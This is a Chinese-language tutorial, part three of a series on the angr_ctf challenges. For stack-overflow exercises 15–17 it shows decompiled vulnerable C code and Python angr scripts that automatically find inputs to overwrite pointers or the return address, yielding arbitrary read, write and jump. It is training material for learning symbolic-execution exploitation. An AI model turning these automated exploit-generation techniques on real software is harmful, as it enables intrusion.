跟着AngrCTF学Angr(3)

第三部分是一些漏洞自动化利用相关的内容

PS:
angr == 8.20.1.7
二进制文件和脚本存储于https://github.com/ycdxsb/Challenges/tree/master/angr_ctf

栈溢出利用——任意读#

  • 15_angr_arbitrary_read
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+Ch] [ebp-1Ch]
char *s; // [esp+1Ch] [ebp-Ch]

s = try_again;
printf("Enter the password: ");
__isoc99_scanf("%u %20s", &key, &v4);
if ( key == 0xBA9057 )
{
puts(try_again);
}
else if ( key == 0x1B2DDE3 )
{
puts(s);
}
else
{
puts(try_again);
}
return 0;
}

能够看到存在简单的溢出,v4长度为0x10,但由于读入20个字符,因此能够覆盖掉s的内容

题目的目的是为了让我们使用angr,自动化的对溢出进行利用,覆盖s的内容为"Good Job"地址,从而修改程序输出为"Good Job"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import angr
import sys
import claripy


def main(filepath):
project = angr.Project(filepath)
init_state = project.factory.entry_state()

class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, key_address, input_address):
scanf0 = claripy.BVS('scanf0', 4*8)
scanf1 = claripy.BVS('scanf1', 20*8)
for chr in scanf1.chop(bits=8):
# 32<=ch<=127
self.state.add_constraints(chr >= '0', chr <= 'z')

self.state.memory.store(
key_address, scanf0, endness=project.arch.memory_endness)
self.state.memory.store(
input_address, scanf1, endness=project.arch.memory_endness)

self.state.globals['solution0'] = scanf0
self.state.globals['solution1'] = scanf1

scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())

def check_puts(state):
# 检查puts函数参数是否为’Good Job‘地址
puts_parameter = state.memory.load(
state.regs.esp+4, 4, endness=project.arch.memory_endness)
# 在进入puts时检查,由于参数调用的约定,此时esp+4开始的4个字节为puts参数
if(state.solver.symbolic(puts_parameter)):
good_job_address = 0x50514957
is_vulnerable_expression = puts_parameter == good_job_address

copied_state=state.copy()
copied_state.add_constraints(is_vulnerable_expression)
if(copied_state.satisfiable()):
state.add_constraints(is_vulnerable_expression)
return True
else:
return False
else:
return False

def is_successful(state):
puts_address = 0x8048370
if(state.addr == puts_address):
return check_puts(state)
else:
return False


sim = project.factory.simgr(init_state)
sim.explore(find=is_successful)
if sim.found:
solution_state = sim.found[0]
solution0 = solution_state.solver.eval(solution_state.globals['solution0'],cast_to=int)
solution1 = solution_state.solver.eval(solution_state.globals['solution1'], cast_to=bytes)
print(solution0,solution1[::-1])
else:
raise Exception('Could not find the solution')


if __name__ == "__main__":
if(len(sys.argv) != 2):
print('usage:python angr_basic.py filepath')
filepath = sys.argv[1]
main(filepath)

栈溢出利用——任意写#

  • 16_angr_arbitrary_write
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-1Ch]
char *dest; // [esp+1Ch] [ebp-Ch]

dest = unimportant_buffer;
memset(&s, 0, 0x10u);
strncpy(password_buffer, "PASSWORD", 0xCu);
printf("Enter the password: ");
__isoc99_scanf("%u %20s", &key, &s);
if ( key == 26300398 )
{
strncpy(unimportant_buffer, &s, 0x10u);
}
else if ( key == 55551743 )
{
strncpy(dest, &s, 0x10u);
}
else
{
strncpy(unimportant_buffer, &s, 0x10u);
}
if ( !strncmp(password_buffer, "QOOCPPEV", 8u) )
puts("Good Job.");
else
puts("Try again.");
return 0;
}

可以看到一样是栈溢出,s长度为0x10,但读入了20字节,可以覆盖dest内容。

因此题目目的是,覆盖dest地址为password_buffer地址,当key等于55551743时,会将s的前16字节赋值给password_buffer,最后输出"Good Job"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import angr
import sys
import claripy


def main(filepath):
project = angr.Project(filepath)
init_state = project.factory.entry_state()

class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, key_address, input_address):
scanf0 = claripy.BVS('scanf0', 4*8)
scanf1 = claripy.BVS('scanf1', 20*8)
for chr in scanf1.chop(bits=8):
# 32<=ch<=127
self.state.add_constraints(chr >= '0', chr <= 'z')

self.state.memory.store(
key_address, scanf0, endness=project.arch.memory_endness)
self.state.memory.store(
input_address, scanf1, endness=project.arch.memory_endness)

self.state.globals['solution0'] = scanf0
self.state.globals['solution1'] = scanf1

scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())

def check_strncpy(state):
strncpy_src = state.memory.load(state.regs.esp+8,4,endness=project.arch.memory_endness)
strncpy_dest = state.memory.load(state.regs.esp+4,4,endness=project.arch.memory_endness)
strncpy_len = state.memory.load(state.regs.esp+12,4,endness=project.arch.memory_endness)
src_contents = state.memory.load(strncpy_src, strncpy_len)

if(state.solver.symbolic(strncpy_dest) and state.solver.symbolic(src_contents)):
password = "QOOCPPEV"
password_address = 0x59554248

does_src_hold_password = src_contents[-1:-64] == password
does_dest_equal_buffer_address = password_address==strncpy_dest

if state.satisfiable(extra_constraints=(does_src_hold_password, does_dest_equal_buffer_address)):
state.add_constraints(does_src_hold_password, does_dest_equal_buffer_address)
return True
else:
return False
else:
return False


def is_successful(state):
strncpy_address = 0x8048410
if(state.addr == strncpy_address):
return check_strncpy(state)
else:
return False


sim = project.factory.simgr(init_state)
sim.explore(find=is_successful)
if sim.found:
solution_state = sim.found[0]
solution0 = solution_state.solver.eval(solution_state.globals['solution0'],cast_to=int)
solution1 = solution_state.solver.eval(solution_state.globals['solution1'], cast_to=bytes)
print(solution0,solution1[::-1])
else:
raise Exception('Could not find the solution')


if __name__ == "__main__":
if(len(sys.argv) != 2):
print('usage:python angr_basic.py filepath')
filepath = sys.argv[1]
main(filepath)

栈溢出利用——任意跳转#

  • 17_angr_arbitrary_jump
1
2
3
4
5
6
int read_input()
{
char v1; // [esp+4h] [ebp-24h]

return __isoc99_scanf("%s", &v1);
}

可以看到scanf存在栈溢出,所以是让我们通过简单的ROP,来跳转到print_good

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import angr
import sys
import claripy

def main(filepath):
project = angr.Project(filepath)
init_state = project.factory.entry_state()

class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, input_buffer_address):
input_buffer = claripy.BVS(
'input_buffer', 64 * 8) # 设置一个较大的input_buffer
for char in input_buffer.chop(bits=8):
self.state.add_constraints(char >= '0', char <= 'z')

self.state.memory.store(
input_buffer_address, input_buffer, endness=project.arch.memory_endness)
self.state.globals['solution'] = input_buffer

scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())
sim = project.factory.simgr(init_state, save_unconstrained=True)

def has_unconstrained():
return len(sim.unconstrained) > 0

def has_active():
return len(sim.active) > 0

solution_state = None

def has_found_solution():
return solution_state is not None

while((has_active() or has_unconstrained()) and (not has_found_solution())):
for unconstrained_state in sim.unconstrained:
eip = unconstrained_state.regs.eip
print_good_address = 0x52425359
if(unconstrained_state.satisfiable(extra_constraints=[(eip == print_good_address)])):
solution_state = unconstrained_state
solution_state.add_constraints(eip == print_good_address)
break
sim.drop(stash='unconstrained')
sim.step()

if solution_state:
solution = solution_state.solver.eval(
solution_state.globals['solution'], cast_to=bytes)
print(solution[::-1])
else:
raise Exception('Could not find the solution')


if __name__ == "__main__":
if(len(sys.argv) != 2):
print('usage:python angr_basic.py filepath')
filepath = sys.argv[1]
main(filepath)

评论